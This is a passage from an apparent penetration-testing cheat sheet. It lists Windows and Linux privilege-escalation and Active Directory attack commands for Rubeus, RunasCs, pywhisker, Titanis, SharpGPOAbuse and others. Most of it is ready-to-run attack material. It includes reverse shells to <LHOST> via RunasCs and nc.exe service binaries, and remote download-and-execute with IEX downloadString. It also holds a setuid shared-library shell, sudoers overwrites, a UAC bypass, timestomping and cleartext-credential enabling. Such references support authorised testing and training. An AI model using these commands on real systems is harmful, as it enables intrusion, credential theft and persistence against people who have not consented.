PS C:\> .\Rubeus.exe kerberoast /nowrap
PS C:\> .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
```

### Request a Delegation Ticket

```cmd
PS C:\> .\Rubeus.exe tgtdeleg /nowrap
```

### Overpass the Hash

```cmd
PS C:\> .\Rubeus.exe kerberoast /user:<USERNAME>
```

### Pass the Hash

```cmd
PS C:\> .\Rubeus.exe asktgt /user:Administrator /certificate:7F052EB0D5D122CEF162FAE8233D6A0ED73ADA2E /getcredentials
```

## RubeusToCcache

> https://github.com/SolomonSklash/RubeusToCcache

```console
$ python3 rubeustoccache.py '<TICKET>' <USERNAME>.kirbi <USERNAME>.ccache
```

### .NET Reflection

#### Example

```console
$ base64 Rubeus.exe -w0 > <FILE>.txt
```

```cmd
PS C:\> $RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String((new-object net.webclient).downloadstring('http://<RHOST>/<FILE>.txt')))
```

```cmd
PS C:\> [Rubeus.Program]::MainString("kerberoast /creduser:<DOMAIN>\<USERNAME> /credpassword:<PASSWORD>")
```

## RunasCs

> https://github.com/antonioCoco/RunasCs

```cmd
PS C:\> .\RunasCs.exe <USERNAME> <PASSWORD> cmd.exe -r <LHOST>:<LPORT>
PS C:\> .\RunasCs.exe <USERNAME> <PASSWORD> powershell -r <LHOST>:<LPORT>
PS C:\> .\RunasCs.exe <USERNAME> <PASSWORD> cmd.exe -r <LHOST>:<LPORT> --bypass-uac
PS C:\> .\RunasCs.exe <USERNAME> <PASSWORD> powershell -r <LHOST>:<LPORT> --bypass-uac
PS C:\> .\RunasCs.exe <USERNAME> <PASSWORD> cmd.exe -r <LHOST>:<LPORT> --bypass-uac -l 5 -b
PS C:\> .\RunasCs.exe <USERNAME> <PASSWORD> <FILE> --bypass-uac -l 5 -b
PS C:\> .\RunasCs.exe -d <DOMAIN> "<USERNAME>" '<PASSWORD>' cmd.exe -r <LHOST>:<LPORT>
PS C:\> .\RunasCs.exe -l 3 -d <DOMAIN> "<USERNAME>" '<PASSWORD>' 'C:\Users\<USERNAME>\Downloads\<FILE>'
PS C:\> .\RunasCs.exe --remote-impersonation --logon-type 3 -d <DOMAIN> <USERNAME> <PASSWORD> cmd.exe -r <LHOST>:<LPORT>
```

## Seatbelt

```cmd
PS C:\> .\Seatbelt.exe -group=system
PS C:\> .\Seatbelt.exe -group=all
PS C:\> .\Seatbelt.exe -group=all -full
```

## setcap

```console
$ setcap cap_setgid,cap_setuid+eip <FILE>
```

## SetOpLock

> https://github.com/googleprojectzero/symboliclink-testing-tools

```cmd
C:\> SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r
```

## Shadow Credentials

> https://pentestlab.blog/2022/02/07/shadow-credentials/

> https://github.com/ShutdownRepo/pywhisker

> https://github.com/dirkjanm/PKINITtools

### Option 1

```console
$ python3 pywhisker.py -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --target '<OBJECT>' --action 'list'
```

```console
$ python3 pywhisker.py -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --target '<OBJECT>' --action 'info' --device-id <ID>
```

```console
$ python3 pywhisker.py -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --target '<OBJECT>' --action 'add' --filename <OBJECT>
```

```console
$ python3 gettgtpkinit.py <DOMAIN>/<USERNAME> -cert-pfx <USERNAME>.pfx -pfx-pass '<PASSWORD>' <USERNAME>.ccache 
```

```console
$ export KRB5CCNAME=<USERNAME>.ccache
```

```console
$ python3 getnthash.py <DOMAIN>/<USERNAME> -key <KEY>
```

```console
$ pth-net rpc password '<USERNAME>' '<PASSWORD>' -U '<DOMAIN>'/'<USERNAME>'%'<HASH>':'<HASH>' -S '<RHOST>'
```

### Option 2

```console
$ python3 dacledit.py -action 'write' -rights 'FullControl' -principal '<USERNAME>' -target-dn 'CN=<GROUP{>,CN=<GROUP>,DC=<DOMAIN>,DC=<DOMAIN>' '<DOMAIN>/<USERNAME>:<PASSWORD>'
```

```console
$ net rpc group addmem '<GROUP>' '<USERNAME>' -U '<DOMAIN>'/'<USERNAME>'%'<PASSWORD>' -S '<RHOST>'
```

```console
$ bloodyAD --host <RHOST> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' get object <GROUP> --attr member
```

```console
$ python3 pywhisker.py -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --target '<OBJECT>' --action 'list'
```

```console
$ python3 pywhisker.py -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --target '<OBJECT>' --action 'info' --device-id <ID>
```

```console
$ python3 pywhisker.py -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --target '<OBJECT>' --action 'add' --filename <OBJECT>
```

```console
$ python3 gettgtpkinit.py <DOMAIN>/<USERNAME> -cert-pfx <USERNAME>.pfx -pfx-pass '<PASSWORD>' <USERNAME>.ccache 
```

```console
$ export KRB5CCNAME=<USERNAME>.ccache
```

```console
$ python3 getnthash.py <DOMAIN>/<USERNAME> -key <KEY>
```

```console
$ pth-net rpc password '<USERNAME>' '<PASSWORD>' -U '<DOMAIN>'/'<USERNAME>'%'<HASH>':'<HASH>' -S '<RHOST>'
```

### Option 3

```console
$ bloodyAD -d <DOMAIN> -u '<USERNAME>' -k ccache=<FILE>.ccache --host <HOSTNAME> --dc-ip <RHOST> add shadowCredentials '<USERNAME>'
```

```console
$ openssl pkcs12 -export -in <CERT>.pem -inkey <FILE>.pem -out <FILE>.pfx -passout pass:
```

```console
$ certipy-ad auth -pfx <FILE>.pfx -dc-ip <RHOST> -domain <DOMAIN> -username '<USERNAME>'
```

## Shadow Group Membership

### Prerequisites

- A configuration mismatch between `/etc/group` and `/etc/gshadow`
- User is listed in `/etc/gshadow` but not in `/etc/group`
- Target group has no password or the attacker knows it

### Verification

```console
<GROUP>:!::alice,bob
# or
<GROUP>:::alice,bob
```

### Execution

```console
$ newgrp <GROUP>
$ sg <GROUP> <COMMAND>
```

## Shared Library Misconfiguration

> https://tbhaxor.com/exploiting-shared-library-misconfigurations/

### shell.c

```c
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -i");
}
```

### Compiling

```console
$ gcc -shared -fPIC -nostartfiles -o <FILE>.so <FILE>.c
```

## SharpDPAPI

```cmd
PS C:\> .\SharpDPAPI.exe triage
PS C:\> .\SharpDPAPI.exe masterkeys /rpc
```

## SharpGPOAbuse

> https://github.com/FSecureLABS/SharpGPOAbuse

```cmd
PS C:\> New-GPO -Name "<NAME>"
PS C:\> New-GPLink -Name "<NAME>" -Target "OU=DOMAIN CONTROLLERS,DC=<DOMAIN>,DC=<DOMAIN>" -LinkEnabled Yes
PS C:\> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <USERNAME> --GPOName "<NAME>"
PS C:\> gpupdate /force
```

## SharpHound

>  https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe

```cmd
PS C:\> .\SharpHound.exe -c All
PS C:\> .\SharpHound.exe --CollectionMethod All
```

## SharpStartWebClient

> https://github.com/eversinc33/SharpStartWebclient

#### Enable WebDAV

```cmd
PS C:\> .\SharpStartWebClient.exe
```

#### Test WebDAV

```console
$ netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M webdav
```

#### Example Output

```console
WebClient Service enabled on: <RHOST>
```

## Sherlock

> https://github.com/rasta-mouse/Sherlock

### Config

Add `Find-AllVulns` at the end of the script to run it as soon as it get's loaded.

```console
<--- CUT FOR BREVITY --->
            10586 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 19 ] }
            14393 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 446 ] }
            default { $VulnStatus = "Not Vulnerable" }

        }

    Set-ExploitTable $MSBulletin $VulnStatus

}
Find-AllVulns

$ IEX(New-Object Net.webclient).downloadString('http://<LHOST>/Sherlock.ps1')
```

## smbpasswd

```console
$ smbpasswd -U <RHOST>\<USERNAME> -r <RHOST>
```

## SSH

### SSH Certificate Authority Privilege Escalation

#### Pre-requisites

- Missing `AuthorizedPrincipalsFile` parameter

```console
AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u
```

```console
$ cat /etc/ssh/sshd_config.d/60-principal.conf 
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /PATH/TO/KEY/ca.pub
```

#### Exploitation

```console
$ ssh-keygen -t ed25519 -f <FILE> -N ""
```

```console
$ ssh-keygen -s /PATH/TO/Key/KEY/ca -I "pwn-root" -n root -V +1h <FILE>.pub
```

```console
$ ssh-keygen -L -f <FILE>.pub
```

```console
$ ssh -i /tmp/pwn root@localhost
```

## Stabilizing Reverse Shells

```console
$ python -c 'import pty;pty.spawn("/bin/bash")'
```

or

```console
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
```

```console
$ Ctrl + z
$ stty raw -echo
fg
Enter
Enter
$ export XTERM=xterm
```

or

```console
$ Ctrl + z
$ stty -a
$ stty raw -echo;fg
Enter
Enter
$ stty rows 37 cols 123
$ export TERM=xterm-256color
$ bash
```

Alternatively:

```console
$ script -q /dev/null -c bash
$ /usr/bin/script -qc /bin/bash /dev/null
```

### Oneliner

```console
$ stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
```

### Error Handling

#### Fixing Staircase Effect

```console
$ env reset
```

or

```console
$ stty onlcr
```

## systemctl

### Malicious Service Privilege Escalation

#### Payload

```console
[Unit]
Description=Example Service

[Service]
Type=simple
ExecStart=chmod +s /bin/bash
Restart=always

[Install]
WantedBy=multi-user.target

```

#### Installation

```console
$ echo '[Unit]
Description=Example Service

[Service]
Type=simple
ExecStart=chmod +s /bin/bash
Restart=always

[Install]
WantedBy=multi-user.target' > /etc/systemd/system/<SERVICE>.service
```

#### Execution

```console
$ sudo systemctl restart <SERVICE>
```

## Time Stomping

```cmd
PS C:\> $dateTime = New-Object System.DateTime(1999,12,26)
PS C:\> $regKey = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey("SYSTEM\CurrentControlSet\Services\helpsvc",$true)[RegRoutines.NativeMethods]::SetRegistryKeyDateTime($regKey, $dateTime)
```

## Titanis

> https://github.com/trustedsec/Titanis

### Installation

> https://gist.github.com/Flangvik/e438d47378621e86349aa99aa450d67f

#### Upgrade .NET SDK to Version 8

##### Remove old .NET SDK

```console
$ sudo apt-get remove --purge dotnet-sdk-6.0
```

##### Install .NET 8 SDK system-wide to /usr/share/dotnet

```console
$ curl -sSL https://dot.net/v1/dotnet-install.sh | sudo bash -s -- --channel 8.0 --install-dir /usr/share/dotnet
```

##### Symlink dotnet Binary so it's available on PATH

```console
$ sudo ln -sf /usr/share/dotnet/dotnet /usr/local/bin/dotnet
```

##### Set DOTNET_ROOT globally for all Users

```console
$ echo 'export DOTNET_ROOT=/usr/share/dotnet' | sudo tee /etc/profile.d/dotnet.sh
```

#### Install Titanis

##### Download, extract, and set up all Titanis Tools in /opt/titanis

```console
$ curl -sL https://github.com/trustedsec/Titanis/releases/download/v0.9.178/Titanis-tools-linux-x64-net8.zip -o /tmp/titanis.zip && sudo mkdir -p /opt/titanis && sudo unzip -o /tmp/titanis.zip -d /opt/titanis/ && rm /tmp/titanis.zip
```

##### Make each Tool executable and symlink to /usr/bin for easy Access

```console
$ for tool in CredCoerce Epm Kerb Lsa Sam Scm Smb2Client Wmi; do sudo chmod +x /opt/titanis/linux-x64/$tool/$tool && sudo ln -sf /opt/titanis/linux-x64/$tool/$tool /usr/bin/$tool; done
```

### CredCoerce

Coerce a target system into authenticating outbound to a controlled listener via MS-EFSR RPC calls (PetitPotam-style). Useful for NTLM relay and hash capture.

```console
$ CredCoerce -u <USERNAME> -p '<PASSWORD>' -Techniques * <RHOST> '\\<LHOST>\<SHARE>'
$ CredCoerce -u <USERNAME> -p '<PASSWORD>' -Techniques Efs.OpenFile <RHOST> '\\<LHOST>\<SHARE>'
$ CredCoerce -u <USERNAME> -p '<PASSWORD>' -Techniques Efs.EncryptFile <RHOST> '\\<LHOST>\<SHARE>'
$ CredCoerce -u <USERNAME> -p '<PASSWORD>' -Techniques Efs.DecryptFile <RHOST> '\\<LHOST>\<SHARE>'
$ CredCoerce -NtlmHash <HASH> -Techniques * <RHOST> '\\<LHOST>\<SHARE>'
$ CredCoerce -Kdc <RHOST> -AesKey <KEY> -Techniques * <RHOST> '\\<LHOST>\<SHARE>'
```

### Kerb

Request and manage Kerberos tickets, change passwords, generate protocol keys, and inspect ticket files.

#### asreq

- Request a TGT

```console
$ Kerb asreq -Realm <DOMAIN> -Password '<PASSWORD>' -OutputFileName <USERNAME>.kirbi -Overwrite <USERNAME> <RHOST>
$ Kerb asreq -Realm <DOMAIN> -NtlmHash <HASH> -OutputFileName <USERNAME>.kirbi -Overwrite <USERNAME> <RHOST>
$ Kerb asreq -Realm <DOMAIN> -AesKey <KEY> -OutputFileName <USERNAME>.kirbi -Overwrite <USERNAME> <RHOST>
$ Kerb asreq -Realm <DOMAIN> -Password '<PASSWORD>' -EncTypes Rc4Hmac -OutputFileName <USERNAME>.kirbi -Overwrite <USERNAME> <RHOST>
```

#### getasinfo

- Enumerate Encryption Types / Validate Usernames

```console
$ Kerb getasinfo <USERNAME>@<DOMAIN> <RHOST>
$ Kerb getasinfo -Realm <DOMAIN> <USERNAME> <RHOST>
```

#### tgsreq

- Request a Service Ticket / Kerberoasting

```console
$ Kerb tgsreq -Tgt <USERNAME>.kirbi -OutputFileName <USERNAME>-<RHOST>.kirbi <RHOST> cifs/<RHOST>
$ Kerb tgsreq -Tgt <USERNAME>.kirbi -OutputFileName <USERNAME>-<RHOST>.kirbi <RHOST> cifs/<RHOST> HOST/<RHOST>
$ Kerb tgsreq -Tgt <USERNAME>.kirbi -EncTypes Rc4Hmac <RHOST> <SPN> -OutputFields TgsrepHashcatMethod,TicketHash
```

#### renew

- Renew a Ticket

```console
$ Kerb renew -Ticket <USERNAME>.kirbi -OutputFileName <USERNAME>.kirbi -Overwrite <RHOST>
$ Kerb renew -TicketCache <USERNAME>.ccache <RHOST> -TargetSpn cifs/<RHOST>
```

#### select

- Inspect / Convert / Filter Ticket Files

```console
$ Kerb select -From <USERNAME>*.kirbi
$ Kerb select -From <USERNAME>*.kirbi -Current
$ Kerb select -From <USERNAME>*.kirbi -MatchingSpn 'krbtgt/.*'
$ Kerb select -From <USERNAME>*.kirbi -MatchingSpn 'cifs/.*'
$ Kerb select -From <USERNAME>*.kirbi -Into all-tickets.kirbi
```

#### changepw

- Change own Password

```console
$ Kerb changepw <USERNAME>@<DOMAIN> <RHOST> -Password '<PASSWORD>' <PASSWORD>
```

#### setpw

- Set Another Account's Password

```console
$ Kerb setpw -UserName <USERNAME>@<DOMAIN> -Kdc <RHOST> -Password '<PASSWORD>' <USERNAME>@<DOMAIN> <PASSWORD>
```

#### s2k

- Generate Protocol Keys from a Password

```console
$ Kerb s2k <DOMAIN><USERNAME> '<PASSWORD>'
$ Kerb s2k <DOMAIN><USERNAME> '<PASSWORD>' -EncTypes Aes128CtsHmacSha1_96,Aes256CtsHmacSha1_96
$ Kerb s2k <DOMAIN>host<HOSTNAME>.<FQDN> '<PASSWORD>'
```

### Smb2Client

SMB2 file operations, share and session enumeration, symlink/junction creation, and server-level queries.

UNC path format: `\\<SERVER>[:<PORT>]\<SHARE>[\<PATH>]`

#### ls

- List Directory Contents

```console
$ Smb2Client ls '\\<RHOST>\<SHARE>' -u <USERNAME> -p '<PASSWORD>'
$ Smb2Client ls '\\<RHOST>\<SHARE>' -u <USERNAME> -ud <DOMAIN> -p '<PASSWORD>'
$ Smb2Client ls '\\<RHOST>\IPC$' -u <USERNAME> -ud <DOMAIN> -p '<PASSWORD>'
$ Smb2Client ls '\\<RHOST>\<SHARE>' -ha <RHOST> -u <USERNAME> -ud <DOMAIN> -p '<PASSWORD>'
$ Smb2Client ls '\\<RHOST>\<SHARE>' -u <USERNAME> -ud <DOMAIN> -NtlmHash <HASH>
$ Smb2Client ls '\\<RHOST>\<SHARE>' -u <USERNAME> -ud <DOMAIN> -p '<PASSWORD>' -Kdc <RHOST>
```

#### get

- Download Files

```console
$ Smb2Client get '\\<RHOST>\<SHARE>\<FILE>' -u <USERNAME> -p '<PASSWORD>'
$ Smb2Client get '\\<RHOST>\<SHARE>\<FILE>' <LFILE> -u <USERNAME> -p '<PASSWORD>'
$ Smb2Client get '\\<RHOST>\<SHARE>\*.txt' <LDIR> -depth 20 -u <USERNAME> -p '<PASSWORD>'
$ Smb2Client get '\\<RHOST>\<SHARE>\<DIR>' <LDIR> -depth -1 -u <USERNAME> -p '<PASSWORD>'
```

#### put

- Upload Files

```console
$ Smb2Client put '\\<RHOST>\<SHARE>\<FILE>' <LFILE> -u <USERNAME> -p '<PASSWORD>'
$ Smb2Client put '\\<RHOST>\<SHARE>\<FILE>' -u <USERNAME> -p '<PASSWORD>'
```

#### rm / rmdir

- Delete Files and Directories

```console
$ Smb2Client rm '\\<RHOST>\<SHARE>\<FILE>' -u <USERNAME> -p '<PASSWORD>'
$ Smb2Client rmdir '\\<RHOST>\<SHARE>\<DIR>' -u <USERNAME> -p '<PASSWORD>'
```

#### mkdir

- Create Directory

```console
$ Smb2Client mkdir '\\<RHOST>\<SHARE>\<DIR>' -u <USERNAME> -p '<PASSWORD>'
$ Smb2Client mkdir '\\<RHOST>\<SHARE>\<DIR>' -Parents -u <USERNAME> -p '<PASSWORD>'
```

#### mklink

- Create Symbolic Link

```console
$ Smb2Client mklink '\\<RHOST>\<SHARE>\<LINK>' <TARGET> -u <USERNAME> -p '<PASSWORD>'
$ Smb2Client mklink '\\<RHOST>\<SHARE>\<LINK>' <TARGET> -Relative -u <USERNAME> -p '<PASSWORD>'
$ Smb2Client mklink '\\<RHOST>\<SHARE>\<LINK>' <TARGET> -Directory -u <USERNAME> -p '<PASSWORD>'
```

#### mount / umount

- Junction / Mount Point

```console
$ Smb2Client mount '\\<RHOST>\<SHARE>\<FOLDER>' <TARGET> -u <USERNAME> -p '<PASSWORD>'
$ Smb2Client umount '\\<RHOST>\<SHARE>\<FOLDER>' -u <USERNAME> -p '<PASSWORD>'
```

#### touch

- Timestomp / Update Attributes

```console
$ Smb2Client touch '\\<RHOST>\<SHARE>\<FILE>' -u <USERNAME> -p '<PASSWORD>'
```

#### watch

- Monitor Directory Changes

```console
$ Smb2Client watch '\\<RHOST>\<SHARE\<FOLDER>' -u <USERNAME> -p '<PASSWORD>'
```

#### enumshares

- Enumerate Shares

```console
$ Smb2Client enumshares <RHOST> -u <USERNAME> -p '<PASSWORD>'
```

#### enumsessions

- Enumerate Active Sessions

```console
$ Smb2Client enumsessions <RHOST> -u <USERNAME> -p '<PASSWORD>'
$ Smb2Client enumsessions <RHOST> -u <USERNAME> -p '<PASSWORD>' -ClientUserName <USERNAME>
```

#### enumopenfiles

- Enumerate Open Files

```console
$ Smb2Client enumopenfiles <RHOST> -u <USERNAME> -p '<PASSWORD>'
$ Smb2Client enumopenfiles <RHOST> -u <USERNAME> -p '<PASSWORD>' -OpenBy <USERNAME>
```

#### enumnics

- Enumerate Network Interfaces

```console
$ Smb2Client enumnics '\\<RHOST>\<SHARE>' -u <USERNAME> -p '<PASSWORD>'
```

#### enumsnapshots

- Enumerate VSS Snapshots

```console
$ Smb2Client enumsnapshots '\\<RHOST>\<SHARE>\<FOLDER>' -u <USERNAME> -p '<PASSWORD>'
```

#### enumstreams

- Enumerate Alternate Data Streams

```console
$ Smb2Client enumstreams '\\<RHOST>\<SHARE>\<FILE>' -u <USERNAME> -p '<PASSWORD>'
```

### Wmi

Interact with Windows Management Instrumentation over RPC: run WQL queries, invoke methods, execute commands, and manage the WMI repository.

#### query

- Execute WQL Query

```console
$ Wmi query <RHOST> -u <USERNAME> -p '<PASSWORD>' 'SELECT * FROM Win32_Process'
$ Wmi query <RHOST> -u <USERNAME> -p '<PASSWORD>' -OutputFields Caption,ProcessID,ParentProcessID 'SELECT * FROM Win32_Process'
$ Wmi query <RHOST> -u <USERNAME> -p '<PASSWORD>' -Namespace root\\cimv2 '<QUERY>'
```

#### get

- Retrieve a WMI Object

```console
$ Wmi get -u <USERNAME> -p '<PASSWORD>' <RHOST> Win32_Process
$ Wmi get -u <USERNAME> -p '<PASSWORD>' <RHOST> "Win32_LogicalDisk.DeviceID='C:'"
```

#### invoke

- Invoke a WMI Method

```console
$ Wmi invoke -u <USERNAME> -p '<PASSWORD>' <RHOST> Win32_Process Create <COMMAND>
$ Wmi invoke -u <USERNAME> -p '<PASSWORD>' <RHOST> Win32_Process.Handle=<PID> Terminate
$ Wmi invoke -u <USERNAME> -p '<PASSWORD>' <RHOST> "SELECT * FROM Win32_Process WHERE Caption='<PROCESS>'" Terminate
```

#### exec

- Execute Command via WMI

```console
$ Wmi exec -u <USERNAME> -p '<PASSWORD>' <RHOST> <COMMAND>
$ Wmi exec -u <USERNAME> -p '<PASSWORD>' <RHOST> -WorkingDir 'C:\Windows\Temp' <COMMAND>
$ Wmi exec -u <USERNAME> -p '<PASSWORD>' <RHOST> -PollInterval 100ms <COMMAND>
$ Wmi exec -u <USERNAME> -p '<PASSWORD>' <RHOST> -CaptureOutput:off <COMMAND>
```

#### lsns

- List WMI Namespaces

```console
$ Wmi lsns <RHOST> -u <USERNAME> -p '<PASSWORD>'
$ Wmi lsns <RHOST> -u <USERNAME> -p '<PASSWORD>' -Namespace root
```

#### lsclass

- List WMI Classes

```console
$ Wmi lsclass <RHOST> -u <USERNAME> -p '<PASSWORD>'
$ Wmi lsclass <RHOST> -u <USERNAME> -p '<PASSWORD>' -Namespace root\\cimv2
```

#### lsprop

- List Properties of a WMI Class or Object

```console
$ Wmi lsprop -u <USERNAME> -p '<PASSWORD>' <RHOST> Win32_Process
$ Wmi lsprop -u <USERNAME> -p '<PASSWORD>' <RHOST> -WithQualifiers Privileges=SeDebugPrivilege Win32_Process
```

#### lsmethod

- List Methods of a WMI Class or Object

```console
$ Wmi lsmethod -u <USERNAME> -p '<PASSWORD>' <RHOST> Win32_Process
$ Wmi lsmethod -u <USERNAME> -p '<PASSWORD>' <RHOST> -WithQualifiers static Win32_Process
$ Wmi lsmethod -u <USERNAME> -p '<PASSWORD>' <RHOST> -WithQualifiers Privileges=SeDebugPrivilege Win32_Process
```

#### backup / restore

- WMI Repository

```console
$ Wmi backup -u <USERNAME> -p '<PASSWORD>' <RHOST> 'C:\Windows\Temp\wmi.bak'
$ Wmi restore -u <USERNAME> -p '<PASSWORD>' <RHOST> 'C:\Windows\Temp\wmi.bak'
```

#### delete

- Delete WMI Object

```console
$ Wmi delete -u <USERNAME> -p '<PASSWORD>' <RHOST> Win32_Process.Handle=<PID>
$ Wmi delete -u <USERNAME> -p '<PASSWORD>' <RHOST> "SELECT * FROM Win32_Process WHERE Caption='<PROCESS>'"
```

## Universal Privilege Escalation and Persistence Printer

```cmd
PS C:\> $printerName     = 'Pentest Lab Printer'
PS C:\> $system32        = $env:systemroot + '\system32'
PS C:\> $drivers         = $system32 + '\spool\drivers'
PS C:\> $RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName
```

```cmd
PS C:\> Copy-Item -Force -Path ($system32 + '\mscms.dll')             -Destination ($system32 + '\mimispool.dll')
PS C:\> Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll'   -Destination ($drivers  + '\x64\3\mimispool.dll')
PS C:\> Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers  + '\W32X86\3\mimispool.dll')
```

```cmd
PS C:\> Add-PrinterDriver -Name       'Generic / Text Only'
PS C:\> Add-Printer       -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
```

```cmd
PS C:\> New-Item         -Path ($RegStartPrinter + '\CopyFiles')        | Out-Null
```

```cmd
PS C:\> New-Item         -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   | Out-Null
PS C:\> New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Directory' -PropertyType 'String'      -Value 'x64\3'           | Out-Null
PS C:\> New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
PS C:\> New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
```

```cmd
PS C:\> New-Item         -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
PS C:\> New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String'      -Value 'W32X86\3'        | Out-Null
PS C:\> New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
PS C:\> New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
```

```cmd
PS C:\> New-Item         -Path ($RegStartPrinter + '\CopyFiles\Mango')  | Out-Null
PS C:\> New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Directory' -PropertyType 'String'      -Value $null             | Out-Null
PS C:\> New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Files'     -PropertyType 'MultiString' -Value $null             | Out-Null
PS C:\> New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Module'    -PropertyType 'String'      -Value 'mimispool.dll'   | Out-Null
```

## User Account Control (UAC) Bypass

### With UI available

```cmd
PS C:\> Start-Process powershell -Verb runAs
PS C:\> Start-Process powershell -Verb runAs /user:<USERNAME> cmd.exe
```

### Using fodhelper.exe

> https://github.com/nobodyatall648/UAC_Bypass

```cmd
PS C:\> New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Value "C:\Users\<USERNAME>\Downloads\<FILE>" -Force
```

```cmd
PS C:\> New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
```

```cmd
PS C:\> Start-Process "C:\Windows\System32\fodhelper.exe"
```

## User Group Exploitation

> https://wixnic.github.io/linux-privesc-groups/

> https://www.hackingarticles.in/multiple-ways-to-get-root-through-writable-file/

### Possibilities

```console
- Edit /etc/passwd    // copy it to /tmp to edit
- Add new SSH Key to /root/
```

### Find modifyable Files

```console
$ find / -group root -perm -g=w ! -type l 2>/dev/null | grep -v 'proc\|sys' | xargs ls -l
```

### Option 1

```python
#!/usr/bin/env python
import os
import sys
try:
       os.system('cp /bin/sh /tmp/sh')
       os.system('chmod u+s /tmp/sh')
except:
       sys.exit()
```

### Option 2

```python
#!/usr/bin/env python
import os
import sys
try:
       os.system('echo "$USER ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')
except:
       sys.exit()
```

## VSS

> https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-serveroperators 

### Abusing Server Operator Group Membership to get a Reverse Shell

```cmd
C:\> sc.exe config vss binPath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe <LHOST> <LPORT>"
C:\> sc.exe stop vss
C:\> sc.exe start vss
```

## WDigest

### Store Cleartext Credentials Cleartext in LSASS

```cmd
PS C:\> Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name "UseLogonCredential" -Value '1'"
```

## Whisker

```cmd
C:\> .\Whisker.exe add /target:<USERNAME>
```

## Windows-Exploit-Suggester

> https://github.com/AonCyberLabs/Windows-Exploit-Suggester

### Prerequisites

```console
$ python -m pip install xlrd
```

### Update

```console
$ ./windows-exploit-suggester.py --update
```

### Usage

```console
$ ./windows-exploit-suggester.py --database 2020-07-15-mssb.xls --systeminfo sysinfo
```

## winexe

```console
$ winexe -U '<USERNAME%PASSWORD>' //<RHOST> cmd.exe
$ winexe -U '<USERNAME%PASSWORD>' --system //<RHOST> cmd.exe
```

## winrmexec

> https://github.com/ozelis/winrmexec

```console
$ python3 evil_winrmexec.py <RHOST> -k -no-pass -port 5986 -ssl
```

## World Writeable Directories

> https://gist.github.com/mattifestation/5f9de750470c9e0e1f9c9c33f0ec3e56

```console
C:\Windows\debug\wia
C:\Windows\Registration\CRMLog
C:\Windows\System32\Com\dmp
C:\Windows\System32\fxstmp
C:\Windows\System32\Microsoft\Crypto\rsa\machinekeys
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\Tasks
C:\Windows\System32\Tasks_Migrated\Microsoft\Windows\PLA\System
C:\Windows\SysWOW64\Com\dmp
C:\Windows\SysWOW64\fxstmp
C:\Windows\SysWOW64\Tasks
C:\Windows\SysWOW64\Tasks\microsoft\Windows\PLA\System
C:\Windows\Tasks
C:\Windows\Temp
C:\Windows\tracing
```